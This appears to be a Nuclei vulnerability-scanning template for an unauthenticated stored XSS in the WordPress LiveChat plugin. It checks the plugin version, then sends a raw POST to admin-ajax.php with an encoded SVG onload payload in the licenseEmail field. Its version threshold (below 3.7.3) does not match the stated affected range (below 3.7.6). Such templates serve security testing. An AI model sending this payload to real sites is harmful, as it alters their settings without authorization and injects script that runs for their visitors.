id: wp-livechat-stored-xss

info:
  name: WordPress LiveChat < 3.7.6 - Unauthenticated Stored XSS
  author: 0x_Akoko
  severity: high
  description: |
    WordPress LiveChat plugin before < 3.7.6 lacked CSRF and authorization checks on the option update handler in the LiveChatAdmin constructor. The code ran on any POST to a wp-admin URL without Referer validation, nonce check, or capability verification. This allowed unauthenticated attackers to update plugin settings.
  reference:
    - https://wpscan.com/plugin/wp-live-chat-software-for-wordpress/
    - https://wordpress.org/plugins/wp-live-chat-software-for-wordpress
  metadata:
    verified: true
    max-request: 2
  tags: wpscan,wp,wp-plugin,wordpress,livechat,xss,stored-xss,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-live-chat-software-for-wordpress/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LiveChat")'
          - 'compare_versions(version, "< 3.7.3")'
        condition: and

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '(?i)Stable tag:\s*([\w.]+)'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        licenseNumber=42&licenseEmail=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 400
        condition: or

      - type: word
        part: body
        words:
          - "0"
# digest: 4a0a00473045022047fc53770b4c773bdcd95a034a20aab6a701ebb12626b7484ae21515500c76c8022100d167310ded7b356f3c865e5368dc6f56ecc01c4b2fd9ba06aabc98d322cda8b9:922c64590222798bb761d5b6d8e72950